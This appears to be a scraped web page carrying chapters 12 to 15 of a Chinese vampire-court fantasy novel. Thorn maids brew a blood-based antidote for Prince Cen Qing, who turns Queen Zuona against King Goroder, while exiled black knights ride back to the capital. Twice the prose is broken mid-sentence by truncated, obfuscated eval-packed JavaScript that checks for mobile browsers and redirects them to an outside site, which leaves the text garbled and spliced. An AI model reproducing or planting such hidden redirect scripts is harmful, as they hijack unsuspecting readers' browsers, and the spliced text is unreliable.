灯龛内的光摇曳蜷缩，逐渐变得微弱。地精在黑暗中潜行，耳畔传来窸窸窣窣的声响，却很难看到人影。 茉莉手持金色烛台，烛光在灯龛熄灭时点亮。 她信步穿过走廊，脚步声在黑暗中回荡。裙摆搭过鞋面，影子在墙壁上拉长，于烛光下变形，边缘持续向穹顶延伸。 抵达黑塔一层，她在心中默数，驻足在一块雕刻花纹的石砖前。 石砖形状不同，大小不一，边缘互相拼接，沿着塔门向内铺设。石砖表面的纹路毫无规律，却在光照时组成扭曲的荆棘。 茉莉来到图案正中，鞋跟轻击，伴随着回声传递，雕刻花纹的石砖开始下沉，继而交替错开，现出一条幽暗的通道。 道路异常狭窄，仅容一人通过。 陡峭的台阶深入地底，前方尽是黑暗，伸手不见五指。 茉莉提起裙摆，开始拾阶而下。 脚下的台阶并不稳固，有生命一般蠕动起伏。烛光照耀下，显现出台阶真容，竟是纠缠扭结的荆棘，悬空垂挂，边缘还有尖刺凸起。 台阶尽头是一道石门。 门已经打开，透过门缝泄出昏黄的光，还能听到细微声响。 茉莉吹熄蜡烛，单手推开石门。 伴随着吱嘎声响，眼前光芒大亮，门内的一切映入眼底。 不同于黑暗狭窄的通道，房间内明光大亮，白色的蜡烛围成圆环，错落悬挂在半空，照亮铺满墙壁的木架。 木架多达数十层，每层分成大小类似的方格。格子里塞满盒子和布袋，里面装着各种药材，有的普普通通随处可见，有的十分稀有，价值昂贵，几乎是千金难觅。 一名荆棘女仆在木架前忙碌。 她脚下踩着梯子，在不同的格子之间移动，频繁取出药材。每次动作都会带起一片灰尘，掀起呛鼻的味道。 “时间太久了。”她挥开旋舞的灰尘，打开巴掌大的盒子，发现里面的药材变得腐朽，外表看似完好，实则一碰就成灰渣。 砰。 她扣上盒盖，将盒子扔回到架子上，单手叉腰，心情很是糟糕。 这是她的药室，建成于百年之前。 作为荆棘女仆中最精通药理的那一个，宫廷医师也不及她的本领。 为给殷王后配制解毒剂，她竭力搜集天下珍惜材料。 奈何戈罗德下手狠辣，炎境的毒几乎无解。她使尽浑身解数，勉强能减轻殷王后的痛苦，却无法彻底拔除她身上的毒素。 小主人出生后，殷王后耗尽最后的力量，此后缠绵病榻，终至溘然长逝。 主人的死让女仆们发疯。 她们在疯狂中血洗王宫，仍未能杀死罪魁祸首。自己被关押进地牢，连累小主人也退入黑塔，只为换取她们能够活命。 回忆起往事，卷丹怒恨交加，心中百感交集。 她的瞳孔逐渐变色，脚下的梯子化身荆棘，在木架前张牙舞爪，彰显出她心中汹涌的杀意。 “卷丹。”茉莉在门前出声，唤醒陷入狂怒的同族。 卷丹转过身，看向朝她走来的茉莉，抬手按住双眼，再移开时，眸色已然恢复正常。 “有事吗？”她问道。 “药配得怎么样？”茉莉在桌前放下烛台，扫一眼摆放在桌上的坩埚，里面正有液体翻滚。 “还差一点。”卷丹从高处轻盈跃下，裙摆缓慢飘落，长发紧紧束在脑后，没有一丝凌乱。 站稳后，她侧头看向木架，对茉莉说道：“许多已经不能用，好在需要的几种保存完好，加入我们的血，暂时能缓解殿下的症状。要根除毒素很难，我做不到，至少目前做不到。” 卷丹转过头，目光阴翳，能看出她的沮丧。 对岑青的担忧，对戈罗德的仇恨，对殷王后的怀念，各种情绪交织，成为她在监牢中活下去的支柱。 荆棘女仆都是如此。 强烈的情感支撑着她们，让她们熬过地牢中的岁月，没有在暗无天日的折磨中彻底发疯。 “关于血的事情，不要让殿下知道。他不希望我们受伤。”茉莉认真叮嘱。 “殿下的心过于柔软，这不太好。”卷丹叹息一声，认真说道，“我并非在指责，只是很担心。他的敌人是一群卑劣之徒，行事下作，往往不择手段，对这些家伙不该心慈手软。” “你不必担心，殿下的柔和只留给我们。和殿下相处一段时间，你就会清楚这一点。”顿了顿，茉莉走近卷丹，单手按住她的右肩，低声说道，“他的性格不像主人，更加坚韧强悍。如果是他站在主人的立场，戈罗德根本无法得逞，他会被吊上绞刑架，在痛苦中忏悔自己的罪过。” 卷丹愣了愣，目光落在茉莉脸上，确认她没有言辞夸大，也不是在安慰自己。 没有给她更多时间，茉莉突然话锋一转，道：“我找你还有一件事。” “什么？” “关于巫灵。” “巫灵？” “是的。”茉莉松开手，退后半步，蜡烛的光照在她脸上，清澈的瞳孔覆上一层光膜，略有几分诡异，“主人的毒来自西部王国，殿下也是一样。只有巫灵不惧怕炎境的毒。” “我明白你的意思。”不需要茉莉过多解释，卷丹能猜出她接下来的话，“你想说巫灵是否有解毒的办法？” “是的。”茉莉颔首。 卷丹没有立刻回答，而是攥紧双手，当场陷入思考。 她在室内来回踱步，悬空的蜡烛随着她移动，踏着无声的韵律，仿佛一曲沉默的华尔兹。 终于，她停下脚步。 “巫灵太过神秘，他们的存在像是谜团，我知道得并不多。不过从常理推断，应该有两种方式。”她竖起两根手指，视线对上茉莉，“想办法获取巫灵的血，让主人喝下去。” 茉莉皱了下眉，道：“另一种？” “发生亲密关系。”卷丹环抱双臂给出答案。 “多亲密？” “上床，睡一觉。” 卷丹的回答干脆利落，茉莉的眉毛险些飞出鬓角。 “太粗俗了！” “我在地牢关了一百年，总要骂走那些想占便宜的驼背人，你不能指望我保持优雅。”卷丹用小指挖着耳朵，轻轻一吹，散漫地勾了勾嘴角，“比起鸢尾她们，我已经相当收敛。” 茉莉头疼地捏了捏额角。 “私下里如何我不管，在殿下面前绝不能这样。” “我明白。”卷丹笑着拍了拍她的肩膀，安慰道，“别担心，我只是有些疯，不是失去脑子。” 两人说话时，又有几名女仆来到密室。 依照卷丹的指引，她们走到坩埚前，依次划开手腕准备放血。 鲜红的液体线形坠落，一股清香在空气中蒸腾，旋即被药味冲散。 “足够了。”卷丹发出声音，女仆们握住伤口，陆续放下衣袖。 “有需要再叫我们。”鸢尾说道。 “好。”卷丹朝她们摆摆手，无心交谈，开始忙着熬药。 离开房间之前，茉莉在门前短暂驻足，认真思考卷丹的话。 如果真能解毒，她会向殿下提出建议。 想到戈罗德逼迫岑青的经过，她不禁讽笑一声。 偷鸡不成蚀把米。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14930658|159552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >作恶多端，妄图篡改天命，终将自食恶果。 接下来一段时间，王城内风平浪静。 平静下却隐藏暗流，不小心就会掀起滔天巨浪，倾覆古老的金岩堡。 贵族大臣们终日忙碌，频繁出入王宫。 每一次君臣碰面，都会有奇珍异宝运出宝库，装上为使团准备的马车。 车顶雕刻统一徽章，象征戈罗德国王。车轮的轮轴和轮毂是专门打造，使车辆更为坚固耐用。 拉车的烈焰马能耐严寒，它们可以在冰天雪地中奔跑，是最适合前往雪域的骑兽。 信鹰再次带回好消息，岑青的画像送抵暴风城，雪域同意血族使臣过境，两国展开正式和谈。 消息传来，很是振奋人心。 大臣们抓紧完善盟书条款，为出使任务争分夺秒。 戈罗德故意表现得像一个慈父，不时向黑塔送去关怀，既为监控岑青的动向，也为在贵族面前装模作样。 此举无疑是在掩耳盗铃，只是无人揭穿，乐得配合国王演戏。 在恭维声中，戈罗德演戏上瘾，他要求左娜前往黑塔，以王后和继母的双重身份关怀岑青。 “这是你必须做的，左娜。” “遵命，陛下。” 左娜心不甘情不愿，暗地里磨牙，却无法违抗命令。 在拖延数日之后，她不得不走出城堡，身后跟着女官以及服务王室的裁缝。 身为王后和王子殿下的继母，背负国王的压力，她必须为岑青准备礼服和出行需要的一切物资。 “去黑塔。” 左娜走下台阶，早有仆人清理积雪，在石路上铺开毛毡，以免残雪弄脏她的裙摆和鞋子。 女官们跟随王后，一路沉默前行。 裁缝更是大气不敢喘。 他们常年为宫廷服务，各个消息灵通，这是保命的诀窍。 就在不久之前，王后重伤一名女官，起因是第一王子命人搬走了殷王后的遗产。 在这件事中，孰是孰非不是裁缝能够评判。 两人即将碰面，万一爆发冲突，才真实关系到他们的安危。 裁缝们彼此交换眼神，都是小心翼翼，战战兢兢。距离黑塔越近，他们越是不安，总觉得此行不会太平。 奈何职责所在，他们不可能违命，只能硬着头皮跟随王后，一个接一个走入黑塔大门。 王城之外，三十道疾风刮过平原。 他们是从流放之地归来的黑骑士。 众人身上的衣物，脚上的靴子，腰间的武器以及胯-下的战马，全来自途经的军营。 队长米诺策马在前，副队长佩诺尔特和众多骑士紧随在后。 队伍经过处掀起黑风，仅仅三十人，气势不下千军万马。远远望见，都能感受到沉重压力。 奔驰中，佩诺尔特的斗篷向后翻卷，现出挂在胸前的口袋。 狼皮口袋频繁鼓动，从袋口探出一只毛茸茸的脑袋。 这是一只雪豹幼崽，它的母亲在与狼群搏斗中受伤，捕获不到足够的食物，同窝的幼崽都被抛弃。 它的兄弟姐妹在饥饿和严寒中死去，它在奄奄一息时被黑骑士捡起，不是作为食物，而是幸运地成为一件礼物。 “殿下应该会喜欢。” 黑骑士不仅是战斗狂人，也很懂得人情世事。 初次面见王子殿下，一只可以驯化的雪豹幼崽勉强算是拿得出手。 骑士们一日千里，快似追风逐月。 距离王城渐近，听到城头传来的钟声，众人愈加兴奋。 他们单手抓住缰绳，仰头发出嚎叫，声音汇成一股，与奔雷声交织，恰似洪流滚滚，向宏伟的城池奔涌而去。 13.第十三章 左娜从心底里厌恶黑塔。 于她而言，这里是一处不祥之地，除非万不得已，她绝不会踏足塔内半步。 然而事情总有例外。 纵有万般不愿，她仍不得不来。 王国与雪域结盟提上日程，使臣队伍整装待发。作为联姻主角，即将送出的重要礼物，在这个紧要关头，岑青绝不能有任何闪失。 他必须精心打扮，看上去尊贵体面，不失王族风度。 左娜对此嗤之以鼻，却不能提出任何异议。 她为人嚣张跋扈，恶名传遍宫廷，在戈罗德面前又是另一副模样，细心谦恭，谨小慎微。 戴上王冠至今，她时刻小心翼翼，伪装得完美无缺。 这使她能一直坐在王后的宝座上，没有落到前几任王后的下场，或是无端遭到厌弃，或是被罗织罪名投入监狱，最终死得不明不白。 “国王不会施舍怜悯，你必须看顾好自己。” 这是扎克斯对她说的话，在她的婚礼前夜。左娜深深铭刻进脑海，迄今记忆犹新。 黑塔内并不昏暗，灯龛全部点亮，沿途一览无余。 女官们清楚看到墙角的苔藓，以及攀爬在窗外的荆棘。 暗影随风摇曳，时刻刺激她们的神经，使她们的脸色更显苍白。 裁缝们踮起脚尖走着，手中抱着工具。身后的随从或捧或扛，带来大量珍贵的布料，颜色鲜艳，花纹醒目，一眼即知价格昂贵。 一行人进入黑塔后，在地精的引领下穿过走廊，登上石砌台阶。 身侧的灯光频繁摇曳，光影交织，撑开淡薄的七彩，在台阶上方连成虹桥，顺着穹顶逐级延伸。 台阶转角立有一道身影，高挑，婀娜，身姿妖娆。 她穿着暗红色的长裙，腰间系着黑带。浓密的长发挽在脑后，额头光洁，没落下一缕碎发。 她是黑荆棘女仆，从地牢中走出不久，身上却不见阴霾。岁月的折磨并未留下多少痕迹，至少表面如此。 见到左娜，鸢尾弯腰行礼。 两人曾在王宫中见过面，对左娜而言，那一次的经历糟糕透顶，几乎令她颜面尽失。 “王子殿下在等您。”鸢尾的声音略显沙哑，话落后转身就走。 女仆的举动令左娜异常不悦。 黑塔果然是不祥之地！ 想到戈罗德的命令，左娜咬住嘴唇，强压下心中怒火，傲然地抬起下巴：“那个废……第一王子在哪里？” 听到她的称呼，女仆眸光微闪，旋即脚跟转动，侧身让出通往走廊尽头的道路。 灯龛中跳跃火光，女仆的影子持续拉长，在光中扭曲变形。恐怖在沉默中弥漫，令女官和裁缝们心惊胆战。 左娜貌似不受影响。 她径直越过荆棘女仆，始终高昂着下巴，骄傲得犹如一只天鹅。 女官们跟随在她身后，虽然力持镇定，略微急促的脚步声仍显露出内心中的恐慌。 裁缝们没有假装，他们压根不必掩饰情绪，畏惧、惊疑和惶恐展现在脸上，他们在行走时弯腰，内心的恐惧无法隐藏，在这一刻暴露无遗。 接近走廊尽头，一行人又遇上两名女仆。 她们一左一右站立，面无表情，双手交叠在身前，如坚硬的石膏像一般缺乏生气。 “殿下在等您。” 同样的话入耳，左娜脚步微顿，举目眺望前方。 房门自行敞开，门上的雕刻闪烁光辉，金色蔷薇在幽暗中绽放。门轴转动的速度极慢，压抑感如有实质，令她不自觉皱眉。 一名女官上前半步，在左娜耳畔低声说道：“陛下，小心。” 宫廷女官全部出身贵族，她们拥有特殊力量。 这名女官具备预知能力，尽管只是模糊的预感，仍能发挥巨大作用。在左娜身边时，她总能做出有益的提醒，借此成为她的心腹。 “我会的。”左娜凝视前方，紧抿嘴角，表明她此刻并不如看上去镇定。 房门完全敞开，门后是一间会客室。 大概多年不曾开启，纵使有地精打扫，房间内能残留一股灰尘的气息。 室内装修并不奢华，于简洁中透出庄严。 地板光可鉴人，没有铺设地毯。 墙壁上没有太多装饰，只镶嵌多盏灯台。灯台整齐排列，鎏金底座托起火烛，烛光摇曳，烟气顺着管道流入灯台内部，嗅不到一丝一缕呛人的气味。 房间中设有一张圆桌，桌旁仅有一张高背椅。 桌子靠近壁炉，高背椅后则是落地窗。窗帘已经落下，遮挡住塔外的一切，难分白天还是黑夜。 岑青坐在唯一一张椅子上，修长的双腿架起，裤管边缘搭着小腿，露出绕过脚踝的宝石链，异常的勾人。 他捧着一本硬皮书，封面和书脊上空空如也，既没有文字，也不见图画。 听到脚步声，他单手合拢书封，从纸页中抬起头。 过腰的黑发瀑布般滑落，雪白的衬衫搭配一件黑色外套，很配他的发色和眼睛，仿佛暗夜之神赐下的祝福。 亦或是诅咒。 左娜的神情有片刻恍惚。 方才一瞬间，她好似见到故人，早已经逝去的殷王后。 血族第一美人，拥有高贵血统，地位至高无上。于她而言，权力唾手可得。她本可以握有王权，然而…… 左娜垂下眼帘，遮去眼底骤兴的波澜。 外表固然相似，性格和行事却有天壤之别。 基于之前的经验，她确信岑青压根不像他的生母。他可一点也不柔弱，也没有慈悲心肠。 他的性格更像戈罗德。 多么讽刺，注定为敌的父子，身上却有相似之处，甚于国王其他的孩子。 左娜陷入沉思，站在原地许久不动，也不发一言。 岑青无意起身，也没有邀请她坐下的打算。 房间中根本没有摆设她的椅子。 他慵懒地靠向椅背，硬皮书置于腿上，右掌心扣上封面，指尖一下下划动，刮擦声稍显刺耳。 荆棘女仆守在门外，岑青没有命令，她们便一动不动。 王后的女官缄默无言，没有得到明确指示，不敢轻易打破沉默。 凝滞的气氛中，裁缝们瑟瑟发抖，一个个汗如雨下。 他们很想夺路而逃，不惜从窗子跳出去。可惜想法只能停留在脑海，现实是他们被困住了。 在强大血族的压迫下，他们的头越来越低，肩膀缩起来，活像是一群鹌鹑。 终于，左娜打破沉默。 “国王陛下赐与你荣耀，你未来的丈夫是巫灵王，雪域的统治者。”她抬起下巴，态度傲慢，言辞中充满恶意，“身为血族王室成员，你必须表现得体，无论外表、谈吐、还是礼仪。” 这番话绝非示好，完全就是挑衅。 岑青望着她，真实的情绪隐藏在暗黑中，令人捉摸不透。 他拿起硬皮书，随意放在桌上，发出一声轻响。随即撑着高背椅站起身，动作优雅缓慢，外套下摆垂落，宝石钮扣熠熠生辉。 手指擦过桌边，岑青开始向前迈步。 他明明什么都没做，只是拉近距离，左娜和女官们立即生出紧迫感。 至于裁缝，他们已经放弃挣扎。 哪怕双方一言不合打起来，他们也不会是主要目标，顶多是遭受池鱼之殃。 死不了。 他们如此坚信。 岑青脚步轻盈，像是灵巧的猫科动物，完全听不到任何声响。 距离左娜三步左右，他突然停住，发出一阵咳嗽声。 变故突如其来，出乎所有人预料。 走廊内传来脚步声，茉莉似一阵风刮入室内，手中捧起一只水晶瓶，瓶中是暗红色的药剂。 “殿下，您需要它。” 岑青没有拒绝。 他打开瓶塞，仰头饮下半瓶，咳嗽声得以缓解。 目睹全过程，左娜表情微变。 所以，这位殷王后唯一的血脉，的确是身体不好？ 岑青出现在王宫时，自始至终没有表现出半点虚弱，让她以为之前听到的都是假话。 今日再看，他的健康状况的确不佳。 他没必要在自己面前演戏。只能是他的病难以治愈，症状已经压制不住。 “你的病……”左娜欲言又止，尚未想好措词。 “病？”岑青扣上瓶塞，单手梳过凌乱的发丝，嘴角牵起一抹玩味的弧度，“您如何认定我是生病？” 他的话意味深长，分明是意有所指。 左娜眉心深锁，直觉告诉她就此打住，最好不要追根究底。 然而…… “身为继母，我关心你的健康。作为王后，我认为你有必须尽的责任。你关系到与雪域的和谈，这不是一件小事，我希望你能明白。” “我当然明白。”岑青推开茉莉的搀扶，声音拉长。他继续朝左娜靠近，有女官试图拦住他，却被荆棘女仆扣住手臂。 眨眼时间，多名女仆出现在房间内，呈包围之势困住王后一行人。 “殿下，您要做什么？” “您不能对王后陛下无礼！” “放开我！” 面对突发状况，女官们大惊失色，言辞变得慌乱。 “王子，我是你的继母。”岑青走到近前，左娜没有闪躲，更没有退后。妩媚的双眼直视对方，似笃定岑青不敢对她如何。攥紧的双手却暴露事实，她远不如看上去镇定。 “我当然知道。” 岑青笑着弯腰，他比王后高出一头。 大概是身材纤瘦，很容易让人忽略他的身高，削弱他的攻击性。 他没有触碰左娜，更没有伤害她。 他俯身靠近左娜耳边，语气轻缓，以一种诉说情话的方式，道出令人惊悚的秘密：“炎境的毒，来自伟大的国王。” 左娜面露惊恐，心 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“好心？” “是的，好心。”岑青的语调愈发轻柔，声音中充满蛊惑，“血族生命漫长，国王陛下对权力有极端的掌控欲望，他不会容许任何人觊觎他的王权。” “你究竟想说什么？”左娜突然变得暴躁。 岑青笑意加深，言辞化作有毒的网，牢牢缠住左娜，网住了她的心脏：“扎克斯伯爵极力主张和谈，以王族的责任送我前往雪域，国王陛下乐得顺水推舟。但他也暴露出对王权的野心，你的、他的、还有你年幼的孩子。” 左娜瞳孔紧缩，可怕的念头撞入脑海，使她脸色煞白。 “你们在觊觎王位，觊觎他手中的权力。”岑青说道。 “不，我们没有，你在胡说！”左娜矢口否认。 “没有？你难道不想你的儿子成为王位继承人，有朝一日登上王位？你难道不想成为王太后，将王国的一切握在手中？别否认，你们的行为就是在证明我的话。”岑青弯起眸子，笑意盈盈，却令左娜呼吸困难。 室内死一般寂静，落针可闻。 女官们僵硬当场，恨不能捂住自己的耳朵。 一群裁缝更是吓得魂飞魄散。 老天，他们都听到了什么？！ 良久，左娜艰难出声：“一切都是你的污蔑，我相信陛下！” “相信？”岑青放声大笑，笑她的愚蠢，笑她的掩耳盗铃和粉饰太平，“你猜，国王陛下让你进入黑塔，会否料想到这一切？” “你说什么？！”左娜大惊，不禁面如土色。 “只有死人才能保守秘密。”岑青一字一句说道，笑容始终不变，“大概他正想除掉你，只是缺少借口。也或许他想观察你的反应，也好方便决断，他该以什么方式对待你。” 左娜仰视岑青，獠牙因恐惧刺破牙床。 她向后退出一大步，表情扭曲，声音颤抖：“魔鬼，你是个魔鬼！” “不，我是血族。”岑青摇摇手指，纠正左娜。他更像是在谈论天气，而非生死攸关，“想想我的母亲，还有另几位王后，前车之鉴摆在眼前，故作不知是愚蠢的行为。” 他凝视左娜，眼底酝酿惊涛骇浪，却是一闪而逝，仿佛从不曾存在，一切都是错觉。 “我的母亲被夺走一切，下场如何？” “国王的历任妻子多死于非命。她们果真有罪，还是被污蔑，我想你十分清楚。” “安稳的日子仅是假象。” “你佩戴王冠的日子足够长，也太长了。你应该明白我的意思。” 听着这些话，左娜如坠冰窖，寒意自脚底蹿升，快速填充四肢百骸。 “我会离开王城，远离血族王国。”岑青话锋一转，同时上前半步，又一次拉近彼此间的距离，“我将前往巫灵的王国，投身雪域。” 他微微弯腰，托起左娜的右手，视线落在食指的戒指上，话语半真半假，和体温同样冰冷：“扎克斯伯爵妄图驱逐我，但也间接帮了我，让我能够获取自由。作为回报，我愿意给你提醒。” 声音缭绕在耳畔，冰冷的嘴唇轻触戒面。 右手被松开，左娜立即攥住自己的手指，警惕地看向岑青：“你为何向我示好？我不会答应你任何条件！” “示好？不，我从没有这个打算。”岑青否定了这个说法。他退后一步看向左娜，笑容被烛光模糊，声音轻柔，很难断言话中真假。 “正如我之前所言，一种回报。另外，我不想让国王陛下称心如意，就这么简单。” 怀疑的种子一旦埋下，总有一天会生根发芽。 他不需要左娜彻底相信，只要她心存怀疑，不肯坐以待毙，戈罗德必然要头疼一段时间。 搅乱池水，让池中更加浑浊。 他已经达成目的。 14.第十四章 岑青的理由很有说服力。比起好心好意，这种说法更切合实际。 只是左娜仍不相信。 看出她的怀疑，岑青毫不在意，他示意女仆们退下，提醒左娜：“既然想让我体面出行，不该继续耽搁时间。我想您带来的裁缝都是好手，我很乐于接受他们的手艺。” 轻易搅乱池水，掀起骇人的漩涡，始作俑者却果断抽身。 左娜兀自陷入纠结，岑青则笑吟吟地张开双臂，示意裁缝上前测量尺寸，当面提出自己喜欢的款式。 “我不喜欢束缚，最好宽松一些。至于刺绣花纹，蔷薇如何？我喜欢金色。” “如您所愿。” 裁缝们紧张到极点，心反倒平静下来。 他们窥一眼左娜，确认对方无意阻拦，当即拿着皮尺走向岑青，测量时的动作一丝不苟，手也相当稳。 完成准备工作，他们又捧出布料。 岑青挑选出一半，其余也全部留下。在裁缝们不可思议的目光中，交代女仆拿下去收好。 他的态度过于自然，以至于众人回神时布料已经搬空。 “既然是送给我的，自然没有拿回去的道理。还有诸位，”岑青环视在场裁缝，微笑道，“我比较挑剔，在一切工作完成前，你们需要留在黑塔。等到我出发时，你们如果愿意，可以成为我随从，包括你们的家人。” 裁缝们短暂惊愕，迅速反应过来。 这是一种恩赐！ 他们忙不迭点头，表情激动，无不感激涕零。 听到不该知道的秘密，他们全做好最坏的打算。今天走出黑塔，王后肯定会要了他们的命。 岑青给了他们一线生机。 哪怕是远离故土，前往陌生的雪域，他们照样甘之如饴。 能活命比什么都重要！ 相比裁缝，女官们更缺乏运气。 她们只能寄希望于身后的家族，希望左娜会忌惮贵族们的势力，不会为了封口让她们悄无声息消失。 岑青要留下所有裁缝，左娜仅皱了下眉，没有发表任何意见。她此刻心乱如麻，迫不及待去见扎克斯，希望能与兄长商量对策。 如果国王当真动了杀心，他们该如何应对？ 这绝不是一件容易事。稍有不慎就将粉身碎骨，死无葬身之地。 时间如白驹过隙，稍纵即逝。 傍晚时分，王后左娜离开黑塔，身后只跟着女官，不见裁缝的身影。 目送一行人的背影，裁缝们对岑青万般感激。 “殿下，感谢您的仁慈。以灵魂发誓，我和我的家族必定效忠您！” 当面发下誓言，裁缝们跟随女仆离开房间，前往为他们准备的工作间。 值得一提的是，他们的随从也留了下来，并因此活得性命。 过程中，所有人闭紧嘴巴，眼睛也没有乱瞟，完全是一句话一个动作，没有发出任何疑问。 房门从外合拢，岑青转身走到窗前，双手撑着窗台俯瞰黑塔下方，目光寻着王后一行人前移。 茉莉走到他身边，考虑再三，终于开口问道：“殿下，您为何要提醒她？” “会很有趣。”岑青答非所问，成功让茉莉陷入更大的疑惑。 “我不明白。”女仆说道。 “国王陛下和他的妻子，以及心腹重臣，互相失去信任，进而彼此防备。日复一日，裂痕持续加深，或有一天彻底决裂，彼此刀锋相向。难道不是很有趣？”岑青转身背靠窗前，双臂环胸，手指轻击上臂。黑暗覆在他的肩头，朦胧他的面容，明亮的双眼燃烧着恶意，毫不遮掩。 “您在离间他们？”茉莉面露恍然。 “手段粗糙，聪明人总能看破，但很有效。”岑青如此评价自己，不由得轻笑一声。 人不犯我，我不犯人。 妄图逼他入绝境，总该付出代价。 戈罗德固然可恨，左娜也不无辜。他母亲的遗产被霸占多年，收回不算结束，付出更多才能全部偿还。 “夫妻反目，君臣失和，自相残杀。鲜血染红宫廷，场景一定相当美妙。” 他侧头望向窗外，能看到日轮下沉，明月初升。日月突兀交错，融成猩红的光，天空仿佛染血。 华灯初上，左娜一行人回到王宫。 厚重的城堡大门向内敞开，光滑的石板铺在脚下，每一块都历史悠久，能追溯到王城初建时期。 城堡内寂静无声。 不见骑士守卫，也不见白日里争执的大臣。 偶尔有侍女和侍从经过，行动间踮起脚尖，不敢发出太大的声响。 左娜来至宴会厅外，一股腥甜的气息飘过鼻端。 墙上残留飞溅的血痕，几滴恰好融入雕刻，为古老的岩刻增添一抹残佞诡谲的色彩。 种种迹象表明，在她离开期间，王宫中并不太平，血腥事件发生，极可能有人丧命。 左娜了解戈罗德。 很显然，国王陛下心情不好，甚至可以说相当糟糕。 她突然变得犹豫，是否该推开面前的门。 透过门缝，有靡靡之音流淌，戈罗德又在放肆享乐。这个时候进去，应该不会惹来迁怒。 思前想后，左娜终于下定决心。 一只纤细的手覆上门扉，肤如凝脂，指甲晶莹。一枚鸽血石点缀手指，这是血族最喜欢的颜色，没人能够例外。 大厅门缓慢推开，灯光自头顶洒落，铺开大片莹白。 管弦叠奏，众多美人身披轻纱，在乐声中翩翩起舞。 她们赤着双足，腰肢纤细，手臂和大腿光滑圆润。 卷曲的长发拂过脸颊，她们娇笑着贴近王座，环绕在戈罗德周围，趴伏在他的膝上。眼波荡漾，风情万种，举手投足间散发出无尽诱惑。 左娜看着这一幕，脸上没有任何表情。 她早习惯戈罗德的风流。 作为一名妻子，她对丈夫失望透顶。听到岑青道出的秘辛后，她更难以直视对方。 猜忌、畏惧、恐慌、以及必须掩饰的厌恶，种种情绪交织在一起，使她心烦意乱，根本无法冷静思考。 岑青的手段相当有效。 在此时此刻，以及今后相当长的时间内，左娜对戈罗德的畏惧和猜疑不会消散，厌恶更会成倍增长，直至她再难以忍受。 情绪濒临崩溃，她将如何选择？ 也或许她没得选。 戈罗德会先发制人，摘掉她的王冠，把她和她的家族一起投入监狱。 深吸一口气，左娜尽量调整心态，迈步穿过大厅。 宽大的裙摆波浪状翻滚，遮挡住镶嵌珍珠的鞋面，也掩去她的脚步声。 戈罗德注意到自己的妻子，他从美人的胸口抬起头，单手摇晃着金酒杯，以一种令人心惊的目光注视她。 黑暗，冰冷，阴毒。 唯独缺乏亲昵和爱意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我会补偿你，我挚爱的王后。不必为失去烦恼，你会拥有更多，超出你的奢望。” “感谢您，陛下！” 左娜扑进戈罗德怀中，柔顺地埋入他的胸膛。装饰外套的胸针缠住她的头发，一阵刺痛，使她的大脑更加清醒。 她明白戈罗德仍存戒心，但她别无选择，只能装傻。 此刻，她终于明白岑青的意图。 奈何走入黑塔的那一刻，她就注定会坠入漩涡。 闭上双眼，左娜拼命说服自己，在拥有足够的把握之前，她必须更加小心，更加谦恭和顺从，让戈罗德能够放松戒心，不至于马上罗织罪名将她赶出王宫，或是把她投进监狱。 同样的暗夜，在遥远的雪域腹地，巫灵王的宫殿中，一幅画像正悬于他的卧室。 衣袂摩擦声响起，修长的身影来至画像前，白皙的手指描摹画中人的轮廓，刺绣银线的袖摆滑过手腕，现出两枚精致的环镯。 镯身相触，浮现一道微光，恰好落于画中人的耳坠上，于静谧中夺人心神。 “来人。”清澈的声音在殿内响起，优雅、克制，如宝石钮扣束缚的衣领，充满禁欲气息。 “召唤弗兰，命他前往金岩城。” “遵命，陛下。” 殿外的巫灵领命，转身飘然离去。 当夜，四道暗影离开暴风城，似流光穿过凛冽的狂风，奔赴血族王城。 15.第十五章 戈罗德心情畅快，拥着妻子回到王座。 情人们很识趣，娇柔地倚靠在两人腿边，没有一人挑衅左娜。偶尔有眼神飘来，充斥着暧昧气息，更像是一种挑逗。 她们是国王的菟丝花，也不介意奉承王后。 追逐欢愉是血族的本性，没有必要压抑，更不必遮掩。 戈罗德乐意看到这一幕，单手举着酒杯，在美人卖力的讨好下享受别样刺激。 大厅内，中断宴会再次开启。 靡丽的乐音流淌出窗外，荡开飞雪，与风声相和，萦绕在夜空中经久不散。 金岩城外，奔雷声踏碎雪海。 三十匹战马披星戴月，马上的骑士自流放地归来。 他们满身煞气，穿着粗糙的兽皮，佩戴抢来的铠甲和武器，似黑云滚滚压来，令人不寒而栗。 接近城下，骑士们同时勒住缰绳，战马陆续扬起前蹄，在火光下人立而起，发出一阵嘶鸣。 队伍停下不久，一名骑士越众而出，隔着雪幕很难看清她的模样，只能从苗条的身形判断出她是一名女性。 城头火光摇曳，守城的士兵在墙后张望。 不确定来者身份，他们不会轻易放下吊桥，更不会打开城门。 “黑骑士里贝拉。”女骑士自报身份，清脆的声音穿透风雪，悉数落入守卫耳中， “我们受第一王子召唤，从日暮山脉归来！” 黑骑士。 日暮山脉。 第一王子。 士兵们短暂惊愕，旋即浮现恐慌之色。 岑青是王族的禁忌，足足百年时间，王城众人对他讳莫如深，鲜少有人主动提起。直至最近与雪域和谈，敲定他为联姻对象，情况才发生扭转。 黑骑士是被流放的罪人。 他们人数稀少，战斗力强悍，鏖战数倍于己的骷髅骑士照样不落下风。 随着殷王后去世，第一王子退入黑塔，他们的境况急转直下，连番遭受污蔑，得不到任何公正，全部被国王流放。 对于黑骑士的传说，守城的士兵耳熟能详，部分还亲历过他们的战斗场景。 他们是一群恶兽，脚下流淌血河，是不折不扣的杀戮机器。 “真是黑骑士！” “他们竟然回来了！” 墙头迟迟没有反应，黑骑士们等得不耐烦，集体策马靠近城门，压迫感骤然增强。 明明只有三十人，城头的士兵却如临大敌。 